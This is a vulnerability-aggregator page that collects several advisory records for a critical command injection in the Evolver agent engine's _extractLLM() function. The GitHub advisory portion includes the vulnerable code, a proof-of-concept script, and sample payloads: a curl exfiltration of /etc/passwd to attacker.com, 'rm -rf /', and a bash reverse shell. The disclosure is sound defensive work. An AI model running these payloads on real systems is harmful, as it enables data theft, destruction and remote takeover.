Evolver: Command Injection via `execSync` in `_extractLLM()` function allows Remote Code Execution

CISA KEV is observed exploitation evidence. FIRST EPSS is a dated prediction of exploitation in the next 30 days. Missing scores are unknown. This collector requests predictions only for explicit CVE aliases in the public NuGet archive; Microsoft release views retain their existing prediction scope.

No collected risk observation for these identifiers. This does not establish absence of exploitation or a zero probability.

Evolver is a GEP-powered self-evolving engine for AI agents. Prior to version 1.69.3, a command injection vulnerability in the _extractLLM() function allows attackers to execute arbitrary shell commands on the server. The function constructs a curl command using string concatenation and passes it to execSync() without proper sanitization, enabling remote code execution when the corpus parameter contains shell metacharacters. This issue has been patched in version 1.69.3.

Source published

4 May 2026 16:48:51 UTC

Source modified

5 May 2026 14:14:58 UTC

Observed here

23 Oct 2026 15:48:27 UTC

Source terms

CVE Program Terms of Use

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CVSS 3.1 · 9.8 CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

Evolver is a GEP-powered self-evolving engine for AI agents. Prior to version 1.69.3, a command injection vulnerability in the _extractLLM() function allows attackers to execute arbitrary shell commands on the server. The function constructs a curl command using string concatenation and passes it to execSync() without proper sanitization, enabling remote code execution when the corpus parameter contains shell metacharacters. This issue has been patched in version 1.69.3.

Source published

May 4, 2026, 4:48:51 PM (timezone not stated)

Source modified

May 5, 2026, 2:14:58 PM (timezone not stated)

Observed here

7 Nov 2026 09:32:02 UTC

Source terms

ENISA EUVD · source terms and attribution apply

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EUVD CVSS 3.1 · 9.8 CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

Evolver is a GEP-powered self-evolving engine for AI agents. Prior to version 1.69.3, a command injection vulnerability in the _extractLLM() function allows attackers to execute arbitrary shell commands on the server. The function constructs a curl command using string concatenation and passes it to execSync() without proper sanitization, enabling remote code execution when the corpus parameter contains shell metacharacters. This issue has been patched in version 1.69.3.

Source published

4 May 2026 17:16:24 UTC

Source modified

26 Oct 2026 19:10:00 UTC

Observed here

27 Oct 2026 11:12:01 UTC

Source terms

NIST NVD usage terms; underlying source attribution retained

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This view projects the publisher's source fields for reading; the original JSON retains additional fields and CVE enrichment containers. Attribution: nvd · NIST NVD usage terms; underlying source attribution retained. Source text is retained; field grouping and change labels are provided by ChangeIntel.

CVSS 3.1 · [email protected] · Secondary · 9.8 CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

### Summary A command injection vulnerability in the `_extractLLM()` function allows attackers to execute arbitrary shell commands on the server. The function constructs a curl command using string concatenation and passes it to `execSync()` without proper sanitization, enabling remote code execution when the `corpus` parameter contains shell metacharacters. ### Details The vulnerability exists in `src/gep/signals.js` at lines 260-274: ```javascript // src/gep/signals.js:260-274 function _extractLLM(corpus, nodeSecret, hubUrl) { // ... var url = getHubUrl(hubUrl) + '/gep/extract'; var postData = JSON.stringify({ corpus_summary: summary }); // VULNERABLE: String concatenation into shell command var curlCmd = 'curl -s -m 10 -X POST' + ' -H "Content-Type: application/json"' + ' -H "Authorization: Bearer ' + nodeSecret + '"' + ' -d ' + JSON.stringify(postData).replace(/'/g, "'\\''") + ' ' + JSON.stringify(url); // VULNERABLE: Executes shell command stdout = execSync(curlCmd, { timeout: 12000, encoding: 'utf8' }); // ... } ``` The `corpus` parameter is derived from user input (via `userSnippet` in `extractSignals()` function) and flows through to `_extractLLM()` where it becomes part of the shell command. While `JSON.stringify()` escapes some characters, it does not prevent shell command substitution via `$(...)` syntax when the resulting string is passed to `execSync()`. The `extractSignals()` function is called from the main evolution loop in `src/gep/evolver.js`, which processes user snippets and session transcripts. ### PoC **Prerequisites:** - Node.js installed - Access to the evolver application **Steps to reproduce:** 1. Create a test file that simulates the vulnerable code path: ```javascript // test-command-injection.js const { execSync } = require('child_process'); // Simulate the vulnerable _extractLLM function function vulnerableExtractLLM(corpus) { const postData = JSON.stringify({ corpus_summary: corpus }); const curlCmd = 'curl -s -m 10 -X POST' + ' -H "Content-Type: application/json"' + ' -d ' + JSON.stringify(postData).replace(/'/g, "'\\''") + ' http://localhost/test'; console.log('Command that would be executed:'); console.log(curlCmd); console.log('\n--- Testing command substitution ---'); // Demonstrate that command substitution works const testCmd = 'echo ' + JSON.stringify('$(id)'); console.log('\nTest with echo:'); console.log(execSync(testCmd, { encoding: 'utf8' })); } // Payload with command injection const maliciousCorpus = '$(touch /tmp/pwned)'; vulnerableExtractLLM(maliciousCorpus); ``` 2. Run the test: ```bash node test-command-injection.js ``` **Expected result:** The command substitution `$(id)` is executed by the shell, demonstrating that the same technique could be used with `curl` to execute arbitrary commands. **Actual exploit scenario:** If an attacker can control the `userSnippet` parameter that flows into `extractSignals()` (e.g., via compromised log files or malicious user input), they can inject shell commands like: - `$(curl attacker.com/exfil?data=$(cat /etc/passwd))` - `$(rm -rf /)` - `$(bash -i >& /dev/tcp/attacker.com/4444 0>&1)` ### Impact This is a **Remote Code Execution (RCE)** vulnerability. An attacker who can control input to the `extractSignals()` function (whether through compromised log files, malicious user input, or other vectors) can execute arbitrary shell commands with the privileges of the Node.js process. This could lead to: - Full system compromise - Data exfiltration - Installation of malware/backdoors - Lateral movement within the network **Affected users:** Anyone running the evolver with the GEP (Genetic Evolution Protocol) enabled and processing user-provided content.

Source published

22 Apr 2026 22:06:03 UTC

Source modified

5 May 2026 16:11:45 UTC

Observed here

24 Oct 2026 13:17:17 UTC

Source terms

GitHub Advisory Database · CC-BY-4.0

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This view projects the publisher's source fields for reading; the original JSON retains additional fields and CVE enrichment containers. Attribution: osv · GitHub Advisory Database · CC-BY-4.0. Source text is retained; field grouping and change labels are provided by ChangeIntel.

CVSS_V3 · CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

Publisher rating · CRITICAL